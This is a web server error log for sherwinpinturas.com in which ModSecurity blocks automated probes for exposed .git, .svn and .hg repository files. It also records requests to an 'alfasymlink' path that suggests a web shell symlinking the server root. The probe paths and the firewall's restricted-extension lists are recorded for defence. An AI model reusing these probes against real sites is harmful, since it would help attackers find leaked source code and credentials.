[Sun Oct 25 03:19:40.855948 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.6:11288] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/store/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at2tjFTnwNJm6o1fQZIiMgAAAAI"]
[Sun Oct 25 03:19:40.856250 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.6:11288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at2tjFTnwNJm6o1fQZIiMgAAAAI"]
[Sun Oct 25 03:19:40.856609 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.6:11288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at2tjFTnwNJm6o1fQZIiMgAAAAI"]
[Sun Oct 25 03:19:41.143954 2026] [security2:error] [pid 2781030:tid 2781030] [client 45.138.12.6:11294] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/dirstate"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at2tjbQKh4dfs72fmHxvbwAAAAE"]
[Sun Oct 25 03:19:41.144205 2026] [security2:error] [pid 2781030:tid 2781030] [client 45.138.12.6:11294] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at2tjbQKh4dfs72fmHxvbwAAAAE"]
[Sun Oct 25 03:19:41.144560 2026] [security2:error] [pid 2781030:tid 2781030] [client 45.138.12.6:11294] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at2tjbQKh4dfs72fmHxvbwAAAAE"]
[Sun Oct 25 03:19:41.651533 2026] [security2:error] [pid 2781507:tid 2781507] [client 45.138.12.6:11310] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2tjZ68N771hz7W4KlrwAAAAAw"], referer: http://hoteles1.sherwinpinturas.com/.git/config
[Sun Oct 25 03:19:41.651832 2026] [security2:error] [pid 2781507:tid 2781507] [client 45.138.12.6:11310] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2tjZ68N771hz7W4KlrwAAAAAw"], referer: http://hoteles1.sherwinpinturas.com/.git/config
[Sun Oct 25 03:19:41.652080 2026] [security2:error] [pid 2781507:tid 2781507] [client 45.138.12.6:11310] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2tjZ68N771hz7W4KlrwAAAAAw"], referer: http://hoteles1.sherwinpinturas.com/.git/config
[Sun Oct 25 03:19:42.163769 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.227.234.246:11657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:19:42.170638 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.6:11324] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2tjganevcJbML2UkvnpQAAAAU"], referer: http://hoteles1.sherwinpinturas.com/.svn/wc.db
[Sun Oct 25 03:19:42.170814 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.6:11324] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2tjganevcJbML2UkvnpQAAAAU"], referer: http://hoteles1.sherwinpinturas.com/.svn/wc.db
[Sun Oct 25 03:19:42.171198 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.6:11324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2tjganevcJbML2UkvnpQAAAAU"], referer: http://hoteles1.sherwinpinturas.com/.svn/wc.db
[Sun Oct 25 03:19:42.171492 2026] [security2:error] [pid 2775684:tid 2775684] [client 45.138.12.6:11324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at2tjganevcJbML2UkvnpQAAAAU"], referer: http://hoteles1.sherwinpinturas.com/.svn/wc.db
[Sun Oct 25 03:19:42.664184 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.138.12.6:11336] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2tjgLaiqtlZaJBsx4XRQAAAA0"], referer: http://hoteles1.sherwinpinturas.com/.svn/entries
[Sun Oct 25 03:19:42.664502 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.138.12.6:11336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2tjgLaiqtlZaJBsx4XRQAAAA0"], referer: http://hoteles1.sherwinpinturas.com/.svn/entries
[Sun Oct 25 03:19:42.664765 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.138.12.6:11336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2tjgLaiqtlZaJBsx4XRQAAAA0"], referer: http://hoteles1.sherwinpinturas.com/.svn/entries
[Sun Oct 25 03:19:43.142727 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.6:11352] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at2tj1TnwNJm6o1fQZIiMwAAAAI"], referer: http://hoteles1.sherwinpinturas.com/.hg/requires
[Sun Oct 25 03:19:43.142980 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.6:11352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at2tj1TnwNJm6o1fQZIiMwAAAAI"], referer: http://hoteles1.sherwinpinturas.com/.hg/requires
[Sun Oct 25 03:19:43.143236 2026] [security2:error] [pid 2762145:tid 2762145] [client 45.138.12.6:11352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at2tj1TnwNJm6o1fQZIiMwAAAAI"], referer: http://hoteles1.sherwinpinturas.com/.hg/requires
[Sun Oct 25 03:19:43.636544 2026] [security2:error] [pid 2781481:tid 2781481] [client 45.138.12.6:11360] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/store/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at2tjy7GhhaIo05efijCmQAAAAc"], referer: http://hoteles1.sherwinpinturas.com/.hg/store/requires
[Sun Oct 25 03:19:43.636823 2026] [security2:error] [pid 2781481:tid 2781481] [client 45.138.12.6:11360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at2tjy7GhhaIo05efijCmQAAAAc"], referer: http://hoteles1.sherwinpinturas.com/.hg/store/requires
[Sun Oct 25 03:19:43.637109 2026] [security2:error] [pid 2781481:tid 2781481] [client 45.138.12.6:11360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at2tjy7GhhaIo05efijCmQAAAAc"], referer: http://hoteles1.sherwinpinturas.com/.hg/store/requires
[Sun Oct 25 03:19:44.134668 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.6:11366] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/dirstate"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at2tkMqduxFlyzJhl1wEFwAAAAA"], referer: http://hoteles1.sherwinpinturas.com/.hg/dirstate
[Sun Oct 25 03:19:44.134927 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.6:11366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at2tkMqduxFlyzJhl1wEFwAAAAA"], referer: http://hoteles1.sherwinpinturas.com/.hg/dirstate
[Sun Oct 25 03:19:44.135216 2026] [security2:error] [pid 2775672:tid 2775672] [client 45.138.12.6:11366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at2tkMqduxFlyzJhl1wEFwAAAAA"], referer: http://hoteles1.sherwinpinturas.com/.hg/dirstate
[Sun Oct 25 03:19:46.151465 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 23.21.119.232:52995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:19:56.757776 2026] [security2:error] [pid 2781030:tid 2781030] [client 85.208.96.212:64376] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-z003.conf"] [unique_id "at2tnLQKh4dfs72fmHxvcQAAAAE"]
[Sun Oct 25 03:19:56.758172 2026] [security2:error] [pid 2781030:tid 2781030] [client 85.208.96.212:64376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-z003.conf"] [unique_id "at2tnLQKh4dfs72fmHxvcQAAAAE"]
[Sun Oct 25 03:19:56.758553 2026] [security2:error] [pid 2781030:tid 2781030] [client 85.208.96.212:64376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-z003.conf"] [unique_id "at2tnLQKh4dfs72fmHxvcQAAAAE"]
[Sun Oct 25 03:20:02.184401 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.230.69.161:49225] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:20:15.131857 2026] [proxy_fcgi:error] [pid 2781524:tid 2781524] [client 200.189.73.198:43314] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 03:20:22.157041 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.84.147.79:13438] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:20:26.305802 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 18.213.27.222:39449] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/device:08/eject
[Sun Oct 25 03:20:30.149742 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.215.235.20:54347] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:20:34.453203 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.3.155.146:24025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:20:38.206267 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 100.28.204.82:3764] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:21:06.176340 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 18.204.89.56:2064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:21:06.862489 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 185.191.171.19:39404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:21:18.193525 2026] [ssl:error] [pid 2781507:tid 2781507] (5)Input/output error: [client 23.21.204.95:27637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:21:22.140352 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.223.193.255:27300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:21:42.175019 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 23.21.119.232:34884] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:21:50.164745 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.193.115.232:30744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:21:54.898270 2026] [security2:error] [pid 2775684:tid 2775684] [client 3.223.108.97:23612] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at2uEganevcJbML2UkvnqwAAAAU"]
[Sun Oct 25 03:21:54.898306 2026] [security2:error] [pid 2775684:tid 2775684] [client 3.223.108.97:23612] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at2uEganevcJbML2UkvnqwAAAAU"]
[Sun Oct 25 03:21:58.200241 2026] [ssl:error] [pid 2781523:tid 2781523] (5)Input/output error: [client 98.82.40.168:20467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:22:02.213876 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 107.20.255.194:55628] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:22:10.143983 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 44.194.139.149:22034] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:22:14.160850 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 100.29.160.53:33168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/drivers/hpet/unbind
[Sun Oct 25 03:22:27.714720 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 185.191.171.19:17930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/min_partial
[Sun Oct 25 03:22:30.623671 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 100.29.155.89:38570] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:22:34.148614 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.204.62.163:34295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:22:50.238464 2026] [security2:error] [pid 2762145:tid 2762145] [client 43.157.67.70:49282] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/databasex.php"] [unique_id "at2uSlTnwNJm6o1fQZIiQwAAAAI"]
